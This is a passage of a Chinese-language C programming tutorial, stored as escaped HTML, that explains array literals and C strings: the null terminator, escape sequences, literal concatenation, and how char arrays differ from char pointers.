class=\"number\"\u003e5\u003c/span\u003e};\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003eint\u003c/span\u003e sum = sum_array(a, \u003cspan class=\"number\"\u003e4\u003c/span\u003e);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003e// 数组字面量作为参数\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003eint\u003c/span\u003e sum = sum_array((\u003cspan class=\"type\"\u003eint\u003c/span\u003e []){\u003cspan class=\"number\"\u003e2\u003c/span\u003e, \u003cspan class=\"number\"\u003e3\u003c/span\u003e, \u003cspan class=\"number\"\u003e4\u003c/span\u003e, \u003cspan class=\"number\"\u003e5\u003c/span\u003e}, \u003cspan class=\"number\"\u003e4\u003c/span\u003e);\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e上面示例中,两种写法是等价的。第二种写法省掉了数组变量的声明,直接将数组字面量传入函数。\u003ccode\u003e{2, 3, 4, 5}\u003c/code\u003e是数组值的字面量,\u003ccode\u003e(int [])\u003c/code\u003e类似于强制的类型转换,告诉编译器怎么理解这组值。\u003c/p\u003e\u003ch2 id=\"字符串\"\u003e\u003ca href=\"https://xeonds.github.io/2021/11/02/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E7%BC%96%E7%A8%8B%E8%AF%AD%E8%A8%80/C%C2%B7C++/%E3%80%8AC%E8%AF%AD%E8%A8%80%E5%85%A5%E9%97%A8%E6%95%99%E7%A8%8B%E3%80%8B%E9%98%AE%E4%B8%80%E5%B3%B0/#%E5%AD%97%E7%AC%A6%E4%B8%B2\" class=\"headerlink\" title=\"字符串\"\u003e\u003c/a\u003e字符串\u003c/h2\u003e\u003ch3 id=\"简介-4\"\u003e\u003ca href=\"https://xeonds.github.io/2021/11/02/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E7%BC%96%E7%A8%8B%E8%AF%AD%E8%A8%80/C%C2%B7C++/%E3%80%8AC%E8%AF%AD%E8%A8%80%E5%85%A5%E9%97%A8%E6%95%99%E7%A8%8B%E3%80%8B%E9%98%AE%E4%B8%80%E5%B3%B0/#%E7%AE%80%E4%BB%8B-4\" class=\"headerlink\" title=\"简介\"\u003e\u003c/a\u003e简介\u003c/h3\u003e\u003cp\u003eC 语言没有单独的字符串类型,字符串被当作字符数组,即\u003ccode\u003echar\u003c/code\u003e类型的数组。比如,字符串“Hello”是当作数组\u003ccode\u003e{\u0026#39;H\u0026#39;, \u0026#39;e\u0026#39;, \u0026#39;l\u0026#39;, \u0026#39;l\u0026#39;, \u0026#39;o\u0026#39;}\u003c/code\u003e处理的。\u003c/p\u003e\u003cp\u003e编译器会给数组分配一段连续内存,所有字符储存在相邻的内存单元之中。在字符串结尾,C 语言会自动添加一个全是二进制\u003ccode\u003e0\u003c/code\u003e的字节,写作\u003ccode\u003e\\0\u003c/code\u003e字符,表示字符串结束。字符\u003ccode\u003e\\0\u003c/code\u003e不同于字符\u003ccode\u003e0\u003c/code\u003e,前者的 ASCII 码是0(二进制形式\u003ccode\u003e00000000\u003c/code\u003e),后者的 ASCII 码是48(二进制形式\u003ccode\u003e00110000\u003c/code\u003e)。所以,字符串“Hello”实际储存的数组是\u003ccode\u003e{\u0026#39;H\u0026#39;, \u0026#39;e\u0026#39;, \u0026#39;l\u0026#39;, \u0026#39;l\u0026#39;, \u0026#39;o\u0026#39;, \u0026#39;\\0\u0026#39;}\u003c/code\u003e。\u003c/p\u003e\u003cp\u003e所有字符串的最后一个字符,都是\u003ccode\u003e\\0\u003c/code\u003e。这样做的好处是,C 语言不需要知道字符串的长度,就可以读取内存里面的字符串,只要发现有一个字符是\u003ccode\u003e\\0\u003c/code\u003e,那么就知道字符串结束了。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003echar\u003c/span\u003e localString[\u003cspan class=\"number\"\u003e10\u003c/span\u003e];\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e上面示例声明了一个10个成员的字符数组,可以当作字符串。由于必须留一个位置给\u003ccode\u003e\\0\u003c/code\u003e,所以最多只能容纳9个字符的字符串。\u003c/p\u003e\u003cp\u003e字符串写成数组的形式,是非常麻烦的。C 语言提供了一种简写法,双引号之中的字符,会被自动视为字符数组。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e{\u003cspan class=\"string\"\u003e\u0026#39;H\u0026#39;\u003c/span\u003e, \u003cspan class=\"string\"\u003e\u0026#39;e\u0026#39;\u003c/span\u003e, \u003cspan class=\"string\"\u003e\u0026#39;l\u0026#39;\u003c/span\u003e, \u003cspan class=\"string\"\u003e\u0026#39;l\u0026#39;\u003c/span\u003e, \u003cspan class=\"string\"\u003e\u0026#39;o\u0026#39;\u003c/span\u003e, \u003cspan class=\"string\"\u003e\u0026#39;\\0\u0026#39;\u003c/span\u003e}\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003e// 等价于\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"string\"\u003e\u0026#34;Hello\u0026#34;\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e上面两种字符串的写法是等价的,内部存储方式都是一样的。双引号里面的字符串,不用自己添加结尾字符\u003ccode\u003e\\0\u003c/code\u003e,C 语言会自动添加。\u003c/p\u003e\u003cp\u003e注意,双引号里面是字符串,单引号里面是字符,两者不能互换。如果把\u003ccode\u003eHello\u003c/code\u003e放在单引号里面,编译器会报错。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003e// 报错\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"string\"\u003e\u0026#39;Hello\u0026#39;\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e另一方面,即使双引号里面只有一个字符(比如\u003ccode\u003e\u0026#34;a\u0026#34;\u003c/code\u003e),也依然被处理成字符串(存储为2个字节),而不是字符\u003ccode\u003e\u0026#39;a\u0026#39;\u003c/code\u003e(存储为1个字节)。\u003c/p\u003e\u003cp\u003e如果字符串内部包含双引号,则该双引号需要使用反斜杠转义。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"string\"\u003e\u0026#34;She replied, \\\u0026#34;It does.\\\u0026#34;\u0026#34;\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e反斜杠还可以表示其他特殊字符,比如换行符(\u003ccode\u003e\\n\u003c/code\u003e)、制表符(\u003ccode\u003e\\t\u003c/code\u003e)等。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"string\"\u003e\u0026#34;Hello, world!\\n\u0026#34;\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e如果字符串过长,可以在需要折行的地方,使用反斜杠(\u003ccode\u003e\\\u003c/code\u003e)结尾,将一行拆成多行。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"string\"\u003e\u0026#34;hello \\\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"string\"\u003eworld\u0026#34;\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e上面示例中,第一行尾部的反斜杠,将字符串拆成两行。\u003c/p\u003e\u003cp\u003e上面这种写法有一个缺点,就是第二行必须顶格书写,如果想包含缩进,那么缩进也会被计入字符串。为了解决这个问题,C 语言允许合并多个字符串字面量,只要这些字符串之间没有间隔,或者只有空格,C 语言会将它们自动合并。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003echar\u003c/span\u003e greeting[\u003cspan class=\"number\"\u003e50\u003c/span\u003e] = \u003cspan class=\"string\"\u003e\u0026#34;Hello, \u0026#34;\u003c/span\u003e\u003cspan class=\"string\"\u003e\u0026#34;how are you \u0026#34;\u003c/span\u003e\u003cspan class=\"string\"\u003e\u0026#34;today!\u0026#34;\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003e// 等同于\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003echar\u003c/span\u003e greeting[\u003cspan class=\"number\"\u003e50\u003c/span\u003e] = \u003cspan class=\"string\"\u003e\u0026#34;Hello, how are you today!\u0026#34;\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e这种新写法支持多行字符串的合并。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003echar\u003c/span\u003e greeting[\u003cspan class=\"number\"\u003e50\u003c/span\u003e] = \u003cspan class=\"string\"\u003e\u0026#34;Hello, \u0026#34;\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"string\"\u003e\u0026#34;how are you \u0026#34;\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"string\"\u003e\u0026#34;today!\u0026#34;\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e\u003ccode\u003eprintf()\u003c/code\u003e使用占位符\u003ccode\u003e%s\u003c/code\u003e输出字符串。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"built_in\"\u003eprintf\u003c/span\u003e(\u003cspan class=\"string\"\u003e\u0026#34;%s\\n\u0026#34;\u003c/span\u003e, \u003cspan class=\"string\"\u003e\u0026#34;hello world\u0026#34;\u003c/span\u003e)\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003ch3 id=\"字符串变量的声明\"\u003e\u003ca href=\"https://xeonds.github.io/2021/11/02/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E7%BC%96%E7%A8%8B%E8%AF%AD%E8%A8%80/C%C2%B7C++/%E3%80%8AC%E8%AF%AD%E8%A8%80%E5%85%A5%E9%97%A8%E6%95%99%E7%A8%8B%E3%80%8B%E9%98%AE%E4%B8%80%E5%B3%B0/#%E5%AD%97%E7%AC%A6%E4%B8%B2%E5%8F%98%E9%87%8F%E7%9A%84%E5%A3%B0%E6%98%8E\" class=\"headerlink\" title=\"字符串变量的声明\"\u003e\u003c/a\u003e字符串变量的声明\u003c/h3\u003e\u003cp\u003e字符串变量可以声明成一个字符数组,也可以声明成一个指针,指向字符数组。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003e// 写法一\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003echar\u003c/span\u003e s[\u003cspan class=\"number\"\u003e14\u003c/span\u003e] = \u003cspan class=\"string\"\u003e\u0026#34;Hello, world!\u0026#34;\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003e// 写法二\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003echar\u003c/span\u003e* s = \u003cspan class=\"string\"\u003e\u0026#34;Hello, world!\u0026#34;\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e上面两种写法都声明了一个字符串变量\u003ccode\u003es\u003c/code\u003e。如果采用第一种写法,由于字符数组的长度可以让编译器自动计算,所以声明时可以省略字符数组的长度。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003echar\u003c/span\u003e s[] = \u003cspan class=\"string\"\u003e\u0026#34;Hello, world!\u0026#34;\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e上面示例中,编译器会将数组\u003ccode\u003es\u003c/code\u003e的长度指定为14,正好容纳后面的字符串。\u003c/p\u003e\u003cp\u003e字符数组的长度,可以大于字符串的实际长度。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003echar\u003c/span\u003e s[\u003cspan class=\"number\"\u003e50\u003c/span\u003e] = \u003cspan class=\"string\"\u003e\u0026#34;hello\u0026#34;\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e上面示例中,字符数组\u003ccode\u003es\u003c/code\u003e的长度是\u003ccode\u003e50\u003c/code\u003e,但是字符串“hello”的实际长度只有6(包含结尾符号\u003ccode\u003e\\0\u003c/code\u003e),所以后面空出来的44个位置,都会被初始化为\u003ccode\u003e\\0\u003c/code\u003e。\u003c/p\u003e\u003cp\u003e字符数组的长度,不能小于字符串的实际长度。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003echar\u003c/span\u003e s[\u003cspan class=\"number\"\u003e5\u003c/span\u003e] = \u003cspan class=\"string\"\u003e\u0026#34;hello\u0026#34;\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e上面示例中,字符串数组\u003ccode\u003es\u003c/code\u003e的长度是\u003ccode\u003e5\u003c/code\u003e,小于字符串“hello”的实际长度6,这时编译器会报错。因为如果只将前5个字符写入,而省略最后的结尾符号\u003ccode\u003e\\0\u003c/code\u003e,这很可能导致后面的字符串相关代码出错。\u003c/p\u003e\u003cp\u003e字符指针和字符数组,这两种声明字符串变量的写法基本是等价的,但是有两个差异。\u003c/p\u003e\u003cp\u003e第一个差异是,指针指向的字符串,在 C 语言内部被当作常量,不能修改字符串本身。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003echar\u003c/span\u003e* s = \u003cspan class=\"string\"\u003e\u0026#34;Hello, world!\u0026#34;\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003es[\u003cspan class=\"number\"\u003e0\u003c/span\u003e] = \u003cspan class=\"string\"\u003e\u0026#39;z\u0026#39;\u003c/span\u003e; \u003cspan class=\"comment\"\u003e// 错误\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e上面代码使用指针,声明了一个字符串变量,然后修改了字符串的第一个字符。这种写法是错的,会导致难以预测的后果,执行时很可能会报错。\u003c/p\u003e\u003cp\u003e如果使用数组声明字符串变量,就没有这个问题,可以修改数组的任意成员。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003echar\u003c/span\u003e s[] = \u003cspan class=\"string\"\u003e\u0026#34;Hello, world!\u0026#34;\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003es[\u003cspan class=\"number\"\u003e0\u003c/span\u003e] = \u003cspan class=\"string\"\u003e\u0026#39;z\u0026#39;\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e为什么字符串声明为指针时不能修改,声明为数组时就可以修改?原因是系统会将字符串的字面量保存在内存的常量区,这个区是不允许用户修改的。声明为指针时,指针变量存储的只是一个指向常量区的内存地址,因此用户不能通过这个地址去修改常量区。但是,声明为数组时,编译器会给数组单独分配一段内存,字符串字面量会被编译器解释成字符数组,逐个字符写入这段新分配的内存之中,而这段新内存是允许修改的。\u003c/p\u003e\u003cp\u003e为了提醒用户,字符串声明为指针后不得修改,可以在声明时使用\u003ccode\u003econst\u003c/code\u003e说明符,保证该字符串是只读的。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003econst\u003c/span\u003e \u003cspan class=\"type\"\u003echar\u003c/span\u003e* s = \u003cspan class=\"string\"\u003e\u0026#34;Hello, world!\u0026#34;\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e上面字符串声明为指针时,使用了\u003ccode\u003econst\u003c/code\u003e说明符,就保证了该字符串无法修改。一旦修改,编译器肯定会报错。\u003c/p\u003e\u003cp\u003e第二个差异是,指针变量可以指向其它字符串。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003echar\u003c/span\u003e* s = \u003cspan class=\"string\"\u003e\u0026#34;hello\u0026#34;\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003es = \u003cspan class=\"string\"\u003e\u0026#34;world\u0026#34;\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e上面示例中,字符指针可以指向另一个字符串。\u003c/p\u003e\u003cp\u003e但是,字符数组变量不能指向另一个字符串。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003echar\u003c/span\u003e s[] = \u003cspan class=\"string\"\u003e\u0026#34;hello\u0026#34;\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003es = \u003cspan class=\"string\"\u003e\u0026#34;world\u0026#34;\u003c/span\u003e; \u003cspan class=\"comment\"\u003e// 报错\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e上面示例中,字符数组的数组名,总是指向初始化时的字符串地址,不能修改。\u003c/p\u003e\u003cp\u003e同样的原因,声明字符数组后,不能直接用字符串赋值。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003echar\u003c/span\u003e s[\u003cspan class=\"number\"\u003e10\u003c/span\u003e];\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003es = \u003cspan class=\"string\"\u003e\u0026#34;abc\u0026#34;\u003c/span\u003e; \u003cspan class=\"comment\"\u003e// 错误\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e上面示例中,不能直接把字符串赋值给字符数组变量,会报错。原因是字符数组的变量名,跟所指向的数组是绑定的,不能指向另一个地址。\u003c/p\u003e\u003cp\u003e为什么数组变量不能赋值为另一个数组?原因是数组变量所在的地址无法改变,或者说,编译器一旦为数组变量分配地址后,这个地址就绑定这个数组变量了,这种绑定关系是不变的。C 语言也因此规定,数组变量是一个不可修改的左值,即不能用赋值运算符为它重新赋值。\u003c/p\u003e\u003cp\u003e想要重新赋值,必须使用 C 语言原生提供的\u003ccode\u003estrcpy()\u003c/code\u003e函数,通过字符串拷贝完成赋值。这样做以后,数组变量的地址还是不变的,即\u003ccode\u003estrcpy()\u003c/code\u003e只是在原地址写入新的字符串,而不是让数组变量指向新的地址。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003echar\u003c/span\u003e s[\u003cspan class=\"number\"\u003e10\u003c/span\u003e];\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"built_in\"\u003estrcpy\u003c/span\u003e(s, \u003cspan 